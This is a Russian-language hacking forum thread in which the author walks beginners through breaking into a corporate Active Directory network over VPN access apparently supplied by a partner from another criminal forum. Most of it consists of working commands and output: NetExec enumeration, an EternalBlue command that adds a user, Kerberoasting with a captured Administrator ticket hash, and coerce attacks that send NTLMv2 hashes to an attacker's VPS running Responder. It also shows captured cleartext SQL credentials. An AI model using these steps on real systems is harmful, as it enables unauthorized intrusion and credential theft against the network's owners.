LIMB
Вход Регистрация

тема

Проводим аудит сетки проще пареной репы

ArmCorp · · 4 ответов · 375 просмотров

К разделу
Автор: @ArmCorp
Специально для forum.LIMB.cc

Приветствую! Я просто хочу с новичками поделиться некоторыми простыми идеями, если у вас имеется vpn доступ. Если вы только изучаете, то для вас эта статья должна быть полезна, много знаний  не потребуется, в основном будем говорить про запустил скрипт тут, получил отстук там, все автоматизировано =)))

С полезными командами вы можете ознакомиться вот тут: https://forum.LIMB.cc/threads/37/page-3

Окей, начнем. Без воды. Я буду использовать cisco доступ, который мне прислал партнер с форума xss.is. А также он мне объяснил много мелочей, которые я не знал. Спасибо тебе, если читаешь это ;)

Коннектимся к впну

sudo openconnect --protocol=anyconnect https://vpn.cisco.example:444

Смотрим какие подсети выдал нам впн. Обычно они помечены как tun0

ip route

Нашли живую подсеть? Отлично.

Не удалось прогрузить медиа



Компы есть. Проверим права учетки с которой мы подключились к впну.

nxc smb 192.168.1.0/24 -u 'js' -p '1234'

Не удалось прогрузить медиа


Надписи pwn3d нигде нет. Значит мы не то что не домейн админ, так мы еще нигде не локал админ. Мы лишь простой пользователь. Проверим пожалуй в каких группах мы состоим через ldap.

ldapsearch -x -H ldap://192.168.1.17 -D "[email protected]" -w "1234" -b "dc=jjdom,dc=local" "(sAMAccountName=js)" memberOf

Не удалось прогрузить медиа


Вот список групп:
  1. sg_data_formand_rw
  2. SG_SSL-VPN_USERS
  3. Windows SBS Link Users
  4. Windows SBS SharePoint_MembersGroup
  5. User Roles
  6. Windows SBS Fax Users
  7. Windows SBS Remote Web Access Users

В целом ничего интересного нет. Нам надо повышать привилегии и закрепляться. Мы простой пользователь с говно паролем :(

Проверяем сетку на уязвимости: https://www.netexec.wiki/smb-protocol/scan-for-vulnerabilities

p/s иногда нет смысла проверять всю сеть на уязвимости, если cve касается только DC.

printnightmare, ms17-010, smbghost - можешь на всей сети проверять.
nopac, zerologon - только на dc

Как применять эксплоит с msfconsole я не буду, т.к это слишком просто, даже chatgpt знает. Лишь добавлю, что вам необязательно получать командную оболочку, вы можете выполнить команду создания нового пользователя, если эксплоит прошел успешно. (Например EternalBlue)

msf6 auxiliary(admin/smb/ms17_010_command) > set COMMAND "net user huesos P@ssw0rd /add"

Окей, допустим мы все перепробовали хост не уязвим к сплоитам. Что мы можем предпринять далее...

Не удалось прогрузить медиа


На соседнем форуме есть тема с брутом хэшэй там часто можно встретить kerberos и за расшифровку пользователи платят. Либо же просят сбрутить хэш от админки шопа, но наш случай это керберос.

Поговорим про Kerberoasting.

Это атака на Active Directory, при которой злоумышленник запрашивает Kerberos-билеты (TGS) для сервисных аккаунтов, а затем взламывает (брутфорсит) их оффлайн, чтобы получить пароли.

Объясню проще. Kerberos выдает зашифрованный TGS всем пользователям AD, но воспользоваться билетом не можем пока не узнаем пароль, а его можно сбрутить. Так вот как же этот хэш получить.

nxc ldap 192.168.1.17 -u js -p 1234 --kerberoasting output.txt

где 192.168.1.17 - DC

Code: 
$krb5tgs$23$*Administrator$JJDOM.LOCAL$jjdom.local/Administrator*$2670c893d8bef20d92cc96744a628a6f$ee67e7e0c26b6bf7a21c8673c124db93a4141445eb31b345acae544108192d42360311a821ea3ba2c338d42a7484406b8549741fd86427b346f8356b166ea7375c330c1183e362661fa30c79a9828a647efc691cae880a8a2b1fb8ab7ddf2f0e9122124dea92ca98b7d48bf4e486d7d89d04e065ddd539c281497e489725c70b7af032b285b79700e85857a009f21e7e28a4017248eb091d9339dcc79edb7dd8b4b97aa71eff37f69dbd8a6d64d99263edb326faf0c88b6255f6f5d7befc08caeb8498bf71972fc835d71ef7641ac5aba6276629f0208d7a841a566c226f0dbfb5be8a3386f59b376fc5655a1d984cc789539f757b2c779f9bf06d37c0e4ad10ee7aebd5acff2ce0637f874a8d493b3873d316ae85407685902d3440e8ff2cd16761b34177cfdbea4ab3778a0573e06d50678177d88fcab93bac67342ba17d2a55d512609817afb236dcf11fe081ea866e954023d8f5909ef01c7d16c902e2b91cc319c6dd428286bc0269b932aa9ec7f822ceb006a77c943efd115a89ac2d6c027ab8b75e526038f4b0df03e10c902914da5318b54e8b24681978bf1c4aeefeaa1bc2d65bc30d50abf0700208624065f8cd0975890ffa4820c72dd505540edeb616efe08e14d5d434d3ffc43041b2c455a5cd20c16b4680688891eb3d920c3e213755b39f8ccfa97b0eac22902c0184115be2448b0e981ae567d968b2b20ec4abf417fffdb434b67f11b983d59f28ab0b001ebdc15447280b54062e1745c70221a0373484b33d926858fa1660179fcecbe45b72923974e6445bfe5fc02710f5869fecdfedd4e8d44ed79ffe6905a3a92fad177acf38dd1b1b3236295f217bc5adaeac961c2c06232f20b23edc79432d931c6c9b83e22bd33374c8641c8b089836d22d4367e71d2537132eccc18426b8bc8a222a0de746d9bfe5a9cf780f8b24fcc02bafc677b94aeb51708eac5c7383d19ab86e102f83cfb87d62b4cf93c3bcab509b4cbbf7b18853bf1eabf05a666889f68a77b3437acfa38334b8b621f407cb7fd4dae67fa01a345379d5c0372ced0bf1b9db6314ab68fe42c3a25015e854fe2941bae667527460bd43ba0e9b7c5db1206d2fb18139b4f91eea2ad1be93d3f39ca3088d336140bf5c6850ff09b3494ea3b2f3c03bd2df174b27fbf2b58c1d101ada36420672639d2909c89a74e6dd459e3c5585ada3e9fdfffed68da8853f478460c5195c3af0edc66bcdac8358ac320aabb32a95d7250190f7d5b58dc4619ba1bd164dbeda38701eb3ee357fb486c3240e5ac9fde40e14aa64fbbc5dd51450fd155bab1a528eea5e764e31719db801c67af26728

Если мы сбрутим этот хэш, то получим доступ к учетке "Administrator". Вы спросите почему именно она. Дело в том, что сервисы LDAP, DNS, SQL работают от "Administrator" это сервисная учетка. Netexec запрашивает TGS для этих сервисов, а к "Administrator" привязан SPN. И мы соответственно получаем хэш админа.

SPN — это уникальный идентификатор для службы, который указывает, какой именно сервис или приложение работает на сервере. Это привязка к конкретной учетной записи в домене, которая выполняет службу.

Если не получилось сбрутить. Есть еще один интересный вариант. Это coerce аттаки, а затем будем password spray делать =)

Получим список пользователей из ldap.

nxc smb 192.168.1.0/24 -u "js" -p "1234" --users | awk '{print $5}'

Далее мы можем проверить сеть на уязвимость к coerce атакам.

nxc smb 192.168.1.0/24 -u "js" -p "1234" -M coerce_plus

Code: 
COERCE_PLUS 192.168.1.2     445    SBS2011          VULNERABLE, PetitPotam
COERCE_PLUS 192.168.1.3     445    SQL2008          VULNERABLE, PetitPotam
COERCE_PLUS 192.168.1.18    445    SQL01            VULNERABLE, PrinterBug
COERCE_PLUS 192.168.1.22    445    TS01             VULNERABLE, PrinterBug
COERCE_PLUS 192.168.1.21    445    NAVBC            VULNERABLE, MSEven
COERCE_PLUS 192.168.1.19    445    NAV01            VULNERABLE, PrinterBug
COERCE_PLUS 192.168.1.22    445    TS01             VULNERABLE, PrinterBug
COERCE_PLUS 192.168.1.18    445    SQL01            VULNERABLE, MSEven
COERCE_PLUS 192.168.1.19    445    NAV01            VULNERABLE, PrinterBug
COERCE_PLUS 192.168.1.4     445    TERM2008         VULNERABLE, PrinterBug
COERCE_PLUS 192.168.1.22    445    TS01             VULNERABLE, MSEven
COERCE_PLUS 192.168.1.4     445    TERM2008         VULNERABLE, PrinterBug
COERCE_PLUS 192.168.1.19    445    NAV01            VULNERABLE, MSEven
COERCE_PLUS 192.168.1.20    445    EXCH01           VULNERABLE, PrinterBug
COERCE_PLUS 192.168.1.20    445    EXCH01           VULNERABLE, PrinterBug
COERCE_PLUS 192.168.1.4     445    TERM2008         VULNERABLE, MSEven
COERCE_PLUS 192.168.1.17    445    DC01             VULNERABLE, PrinterBug
COERCE_PLUS 192.168.1.20    445    EXCH01           VULNERABLE, MSEven
COERCE_PLUS 192.168.1.2     445    SBS2011          VULNERABLE, PrinterBug
COERCE_PLUS 192.168.1.17    445    DC01             VULNERABLE, PrinterBug
COERCE_PLUS 192.168.1.153   445    PC-BT-EB855G7    VULNERABLE, PrinterBug
COERCE_PLUS 192.168.1.3     445    SQL2008          VULNERABLE, PrinterBug
COERCE_PLUS 192.168.1.2     445    SBS2011          VULNERABLE, PrinterBug
COERCE_PLUS 192.168.1.147   445    PC-JVE-EB850G7   VULNERABLE, PrinterBug
COERCE_PLUS 192.168.1.17    445    DC01             VULNERABLE, MSEven
COERCE_PLUS 192.168.1.153   445    PC-BT-EB855G7    VULNERABLE, MSEven
COERCE_PLUS 192.168.1.3     445    SQL2008          VULNERABLE, MSEven
COERCE_PLUS 192.168.1.2     445    SBS2011          VULNERABLE, MSEven
COERCE_PLUS 192.168.1.147   445    PC-JVE-EB850G7   VULNERABLE, MSEven
COERCE_PLUS 192.168.1.131   445    PC-JVE-EB850G7   VULNERABLE, PrinterBug
COERCE_PLUS 192.168.1.131   445    PC-JVE-EB850G7   VULNERABLE, MSEven

spooler включен по дефолту в виндах, поэтому не удивляйтесь что вся сетка уязвима к coerce атакам.

Print Spooler — это системный процесс в операционных системах Windows, который управляет заданиями на печать. Он сохраняет документы в очереди печати, а затем отправляет их на принтер для печати.

Coerce атаки — это атаки на сетевые протоколы, использующие уязвимости для принуждения к выполнению операций.
Coerce атаки относятся к техникам, которые злоумышленники используют для того, чтобы принудить целевые машины (например, через сетевые протоколы, такие как SMB или Netlogon) отправить NTLM-хеши учетных записей, которые затем могут быть использованы для дальнейших атак, таких как брутфорс или снятие пароля.

Далее нам потребуется vps. Важно!!! Отключите firewall и проверьте, что вы можете достучаться до своей vps. Например я арендовал впску, там был включен firewall (ufw) разрешен только 22 порт, остальные заблокированы. Я не мог лисенер настроить из-за этого...

Не удалось прогрузить медиа


Отключил. Теперь проверяем. Запускаем слушатель на vps

nc -lvnp 4444

На другой машине проверим доступность vps

nc ip_vps 4444

Если все ок, то заходим на впску мы должны увидеть наш айпишник во входящих подключениях. Но через netcat мы ловить хэшики не можем, надо установить responder, если вы работаете через kali то он есть в репозиториях. Или мы можем установить.

apt install git python3-venv python3-pip -y

git clone https://github.com/lgandx/Responder.git

~/Responder# python3 Responder.py -I enp1s0

интерфейс проверьте через ifconfig

[+] Listening for events...

Все возвращаемся на атакующую машину.

nxc smb 192.168.1.0/24 -u "js" -p "1234" -M coerce_plus -o LISTENER=ip_vps

Заходим на vps теперь, смотрим что прилетело.

Code: 
[SMB] NTLMv2-SSP Client   : 94.189.33.254
[SMB] NTLMv2-SSP Username : JJDOM\NAVBC$
[SMB] NTLMv2-SSP Hash     : NAVBC$::JJDOM:37ba9187d52b6206:E7FF2653F7AD91C643DA99E741371C63:0101000000000000002D496558BCDB0134F49DF04F0A8F300000000002000800360048003700460001001E00570049004E002D00510050004C005300340037004D00570048005500300004003400570049004E002D00510050004C005300340037004D0057004800550030002E0036004800370046002E004C004F00430041004C000300140036004800370046002E004C004F00430041004C000500140036004800370046002E004C004F00430041004C0007000800002D496558BCDB010600040002000000080030003000000000000000000000000040000036B192992030775D3BCE335DDE0B11D6D8E88530D20BF2583C58F0B4F1655D6B0A001000000000000000000000000000000000000900260063006900660073002F00390035002E003100370039002E003100380030002E003100340039000000000000000000                                                                                                                                                                                                             
[SMB] NTLMv2-SSP Client   : 94.189.33.254
[SMB] NTLMv2-SSP Username : JJDOM\EXCH01$
[SMB] NTLMv2-SSP Hash     : EXCH01$::JJDOM:66b516f62fa7ce83:8D2DF816ABFFFD894B637123A9245007:0101000000000000002D496558BCDB011D6AB52BB5814E560000000002000800360048003700460001001E00570049004E002D00510050004C005300340037004D00570048005500300004003400570049004E002D00510050004C005300340037004D0057004800550030002E0036004800370046002E004C004F00430041004C000300140036004800370046002E004C004F00430041004C000500140036004800370046002E004C004F00430041004C0007000800002D496558BCDB0106000400020000000800300030000000000000000000000000400000C56D154CD3CDE453BB94220969F29B318E70FE830EA08C9819AEE0F88D4F2A1D0A001000000000000000000000000000000000000900260063006900660073002F00390035002E003100370039002E003100380030002E003100340039000000000000000000                                                                                                                                                                                                           
[*] Skipping previously captured hash for JJDOM\NAVBC$
[*] Skipping previously captured hash for JJDOM\NAVBC$
[SMB] NTLMv2-SSP Client   : 94.189.33.254
[SMB] NTLMv2-SSP Username : JJDOM\TS01$
[SMB] NTLMv2-SSP Hash     : TS01$::JJDOM:ed0255c897a6a130:8FE07BA621CE6C2737A315B793340A05:0101000000000000002D496558BCDB01FD7296FCDD00F8F40000000002000800360048003700460001001E00570049004E002D00510050004C005300340037004D00570048005500300004003400570049004E002D00510050004C005300340037004D0057004800550030002E0036004800370046002E004C004F00430041004C000300140036004800370046002E004C004F00430041004C000500140036004800370046002E004C004F00430041004C0007000800002D496558BCDB01060004000200000008003000300000000000000000000000004000009589EF79863A83BAF2616D7CC0AF16A2D075CEA4689D15D4F569F3EE3A40AD3D0A001000000000000000000000000000000000000900260063006900660073002F00390035002E003100370039002E003100380030002E003100340039000000000000000000

Прилетают машинные учетки. Прилетает даже в cleartext. Например.

[MSSQL] Cleartext Username : sa
[MSSQL] Cleartext Password : sql2010

[MSSQL] Cleartext Username : sa
[MSSQL] Cleartext Password : ksa8hd4,m@~#$%^&*()

Далее формируем базу и делаем password spray.

С coerce атакой помог разобраться @DOC СПАСИБО(y)
👍22 🔥6 😢4
Ответjazet

как-то мало сегодня, но полезно

я еще не закончил писать.
coerce с респондером бесполезен, там машинные учетки и на нтлм2 хэш не сбрутишь
можно пытаться дангрейдить до нтлм1, но там машина оч старая должна быть
релей вебдава на лдап через коерс хорошо работает
про криртекст креды не знал
Ответjs3d

coerce с респондером бесполезен, там машинные учетки и на нтлм2 хэш не сбрутишь можно пытаться дангрейдить до нтлм1, но там машина оч старая должна быть релей вебдава на лдап через коерс хорошо работает про криртекст…

Может кто пример команды написать? Спасибо)
👍3
Зачем использовать VPS для Responder, если LISTENER_IP можно указать тот, который тебе дал VPN при подключении?
👍3

Гостевой просмотр. Чтобы отвечать и ставить реакции, войдите или зарегистрируйтесь.